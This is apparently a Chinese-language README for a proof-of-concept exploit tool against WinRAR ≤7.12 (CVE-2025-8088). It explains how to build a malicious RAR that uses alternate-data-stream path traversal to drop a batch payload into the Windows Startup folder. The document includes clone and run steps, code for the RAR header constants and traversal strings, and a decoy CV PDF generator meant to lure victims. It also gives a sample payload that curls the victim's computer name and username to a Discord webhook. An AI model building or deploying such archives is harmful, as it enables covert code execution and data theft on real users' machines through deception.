CVE-2025-8088 WinRAR Exploit
一个针对WinRAR漏洞(CVE-2025-8088)的概念验证(PoC)利用工具,该漏洞影响7.12及以下版本。此工具能创建一个恶意的RAR压缩包,该压缩包在替代数据流(ADS)中嵌入了具有路径遍历功能的Payload,可能导致任意代码执行。
许多现有工具的问题在于它们没有嵌入多个ADS流,这需要依赖运气(拥有正确的路径遍历)或确切知道用户名/解压目录。
功能特性
- 自动生成诱饵文档:动态创建专业的PDF文档(简历或渗透测试报告),增强欺骗性。
- 多重路径遍历:嵌入多个具有不同路径遍历深度的替代数据流(ADS),显著提高在不同目标目录结构下的利用成功率。
- 精确的RAR头部操纵:直接修改RAR5归档文件的结构,以触发WinRAR的路径遍历漏洞。
- 灵活的Payload投递:设计将Payload写入Windows启动文件夹(Startup),实现系统重启后自动执行。Payload内容易于自定义。
- 清晰的执行流程:整个利用过程从文档创建、流嵌入到最终生成恶意压缩包,步骤明确,便于理解和调试。
安装指南
-
克隆仓库:
git clone https://github.com/pentestfunctions/best-CVE-2025-8088.git cd best-CVE-2025-8088 -
安装Python依赖:
- 本工具需要Python 3.x环境。
- 核心依赖库为
reportlab,用于生成PDF诱饵文档。
pip install reportlab -
系统要求:
- 目标环境:Windows操作系统。
- 目标软件:安装有受影响版本(≤7.12)的WinRAR。
使用说明
基础使用
运行脚本,将生成一个名为exploit.rar的恶意压缩文件。
python CVE-2025-8088.py
Payload自定义
脚本中的PAYLOAD变量可以修改,以适应不同的攻击场景。例如,修改为调用Discord Webhook进行通知:
# 在脚本中替换 PAYLOAD 变量:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""
请将YOUR_DISCORD_WEBHOOK_URL替换为实际的Webhook URL。
执行流程
- 受害者使用易受攻击的WinRAR(≤7.12)解压生成的RAR文件。
- 利用路径遍历漏洞,Payload被写入启动文件夹:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ - 当目标系统下次重启时,Payload将自动执行。
核心代码
以下是项目中的部分核心代码及其注释,展示了恶意RAR的构建机制。
代码段1:配置与初始化
# 配置参数
NUM_DEPTHS = 10 # 要创建的不同遍历深度数量
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat" # Payload的目标释放路径
PAYLOAD = "@echo off\necho Payload executed!\npause\n" # 默认的Payload内容
PLACEHOLDER_LEN = 200 # 流名称占位符长度
OUT_RAR = "exploit.rar" # 输出的恶意RAR文件名
# 生成长流名称的函数
def generate_long_stream_names(count, length):
"""生成用于占位的长流名称"""
return [f"stream_{i:02d}" + "x" * (length - len(f"stream_{i:02d}")) for i in range(count)]
# 生成长流名称列表
ADS_STREAMS = generate_long_stream_names(NUM_DEPTHS, PLACEHOLDER_LEN)
# 在RAR头部使用的路径遍历模式
PATH_TRAVERSALS = [
"../",
"../../",
"../../../",
# ... 更多层级,直到10层
"../../../../../../../../../",
"../../../../../../../../../../"
]
# RAR5格式常量
RAR5_SIG = b"Rar!\x1A\x07\x01\x00" # RAR5文件签名
HFL_EXTRA = 0x0001 # 头部标志:额外字段
HFL_DATA = 0x0002 # 头部标志:数据字段
这段代码定义了攻击的核心参数,包括Payload路径、要嵌入的ADS流数量(10个),以及不同层级的路径遍历字符串。generate_long_stream_names函数用于创建长文件名,这可能是绕过某些简单检查或填充结构的一部分。
代码段2:创建诱饵PDF文档
from reportlab.lib.pagesizes import letter
from reportlab.platypus import SimpleDocTemplate, Paragraph
def create_professional_cv(file_type="pdf") -> Path:
"""为Alicia Sheree创建一份专业的简历,包含增强的格式和真实内容"""
filename = f"Alicia_Sheree_CV_{datetime.now().year}.pdf"
fake_doc = Path(filename)
if file_type != "pdf":
raise ValueError("Currently only PDF output is supported.")
try:
# 使用ReportLab创建PDF文档
doc = SimpleDocTemplate(str(fake_doc), pagesize=letter, rightMargin=20, leftMargin=20, topMargin=20, bottomMargin=20)
# ... (后续会构建简历内容,如标题、段落、表格等)
styles = getSampleStyleSheet()
# 构建文档流(story)并生成PDF
# doc.build(story)
return fake_doc
except Exception as e:
print(f"[-] Error creating decoy document: {e}")
sys.exit(1)
这段代码负责生成一个看似合法的PDF诱饵文件(一份名为“Alicia Sheree”的简历)。使用ReportLab库可以精细控制PDF的样式和内容,使文件看起来非常真实,从而增加受害者打开它的可能性。这是社会工程学攻击中的重要一环。
6HFtX5dABrKlqXeO5PUv/zfeQWH4nVcVRnL7s7k9lH8bkwagtRgcbQrhPll1k7Zy